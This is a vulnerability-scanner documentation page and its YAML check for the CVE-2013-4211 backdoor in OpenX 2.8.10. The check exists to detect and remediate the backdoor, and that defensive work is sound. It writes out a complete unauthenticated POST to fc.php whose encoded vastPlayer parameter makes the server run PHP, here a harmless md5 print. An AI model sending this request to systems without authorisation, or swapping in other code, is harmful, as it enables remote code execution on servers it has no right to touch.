OpenX — 1 vulnerability check
noctis ships 1 vulnerability check for OpenX, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
OpenX Ad Server flowplayer-3.1.1.min.js Backdoor
| CVE | CVE-2013-4211 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/openx/CVE-2013-4211.yaml |
The OpenX Source 2.8.10 package was distributed with a backdoor: the vastPlayer request parameter sent to the delivery script fc.php is reversed, ROT13-decoded and run as PHP. An unauthenticated attacker can execute arbitrary PHP code with the rights of the web server.
This check sends a POST request to /www/delivery/fc.php under the web root, /openx and /ads, with a vastPlayer value that holds a scrambled PHP snippet printing the md5 of the product of two numbers. The finding is reported when the reply carries that md5, which the request does not contain and only server-side code execution can produce. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- HTTP(S) request
POST {{dir}}/www/delivery/fc.php?file_to_serve=flowplayer/3.1.1/flowplayer-3.1.1.min.js&s…with a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: OpenX Ad Server flowplayer-3.1.1.min.js Backdoor (CVE-2013-4211)
References:
Feed source — tests/vulnerabilities/openx/CVE-2013-4211.yaml
# OpenX Ad Server 2.8.10 flowplayer-3.1.1.min.js backdoor — CVE-2013-4211
#
# The OpenX Source 2.8.10 download was shipped with a backdoor planted in
# www/delivery/fc.php's delivery plugin chain (flowplayer-3.1.1.min.js): the "vastPlayer"
# request parameter is reversed, ROT13-decoded and handed to eval(), so anyone can run PHP.
#
# CVSS: NVD v3.1 score of CVE-2013-4211 is 9.8 (the issue listed 7.5).
#
# Detection, per install folder (web root, /openx, /ads):
# POST /www/delivery/fc.php?file_to_serve=flowplayer/3.1.1/flowplayer-3.1.1.min.js&script=deliveryLog:vastServeVideoPlayer:player
# with vastPlayer = urlencode(rot13(reverse("echo md5(48611*9173);"))).
# The reply must carry md5 of the product, a value the request never contains (the request
# holds only the scrambled code). A page or honeypot that reflects the request cannot
# print it. Nothing is written or read on the server; the snippet only prints a hash.
#
# Better than the source NASL: it proves execution with a computed value instead of
# looking for "<title>phpinfo()", which also dumps the server configuration into the
# report, and it needs no prior OpenX detection (three usual folders are probed directly).
#
# Source: OpenVAS/Greenbone NVT 2013/gb_openx_backdoor_61650.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103755, GPL-2.0-only).
uid: eb2ca3d0-0968-469f-aa9e-1c116b5d1637
name: "OpenX Ad Server flowplayer-3.1.1.min.js Backdoor (CVE-2013-4211)"
description: |
The OpenX Source 2.8.10 package was distributed with a backdoor: the vastPlayer request
parameter sent to the delivery script fc.php is reversed, ROT13-decoded and run as PHP.
An unauthenticated attacker can execute arbitrary PHP code with the rights of the web
server.
This check sends a POST request to /www/delivery/fc.php under the web root, /openx and
/ads, with a vastPlayer value that holds a scrambled PHP snippet printing the md5 of the
product of two numbers. The finding is reported when the reply carries that md5, which
the request does not contain and only server-side code execution can produce. The snippet
only prints a hash and nothing is written on the server.
category: rce
cves: [CVE-2013-4211]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [openx, php, backdoor, rce, supply-chain, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4211"
- "https://www.securityfocus.com/bid/61650"
# OpenVAS/Greenbone NASL 2013/gb_openx_backdoor_61650.nasl (GPL-2.0-only)
steps:
- id: init-r1
action: set_var
var_name: r1
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/openx", "/ads"]
- id: init-proof
action: set_var
var_name: rce_proof
var_value: ""
- id: probe
action: http_request
method: POST
path: "{{dir}}/www/delivery/fc.php?file_to_serve=flowplayer/3.1.1/flowplayer-3.1.1.min.js&script=deliveryLog:vastServeVideoPlayer:player"
port: "{{port}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "vastPlayer=%3B%293719%2A11684%285qz%20bupr"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: r1
- id: check
action: script
code: |
if type_of(r1.body) == "string" && r1.body.contains("e98724b14670d48224a3a0d2a1f90587") { "e98724b14670d48224a3a0d2a1f90587" } else { "" }
store_as: rce_proof
- id: dir-keep
action: script
code: 'dir + "/"'
condition: 'rce_proof != ""'
store_as: hit_dir
- id: report
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "OpenX Ad Server flowplayer-3.1.1.min.js Backdoor (CVE-2013-4211)"
description: "An unauthenticated POST request to OpenX's delivery script fc.php with a scrambled vastPlayer parameter made the server run the PHP code it carried: the reply held the md5 of the product of two numbers, which the request does not contain. The distributed OpenX package contains a backdoor that evaluates attacker-supplied PHP."
remediation: "Replace the installation with a clean OpenX / Revive Adserver package, remove the backdoored flowplayer-3.1.1.min.js, and treat the server as compromised (rotate credentials, review the web root for further changes)."
confidence_delta: 0.65
qod: 97
evidence: "POST {{hit_dir}}www/delivery/fc.php with a scrambled vastPlayer snippet returned the expected md5 {{rce_proof}} (injected PHP code executed)"
stop: true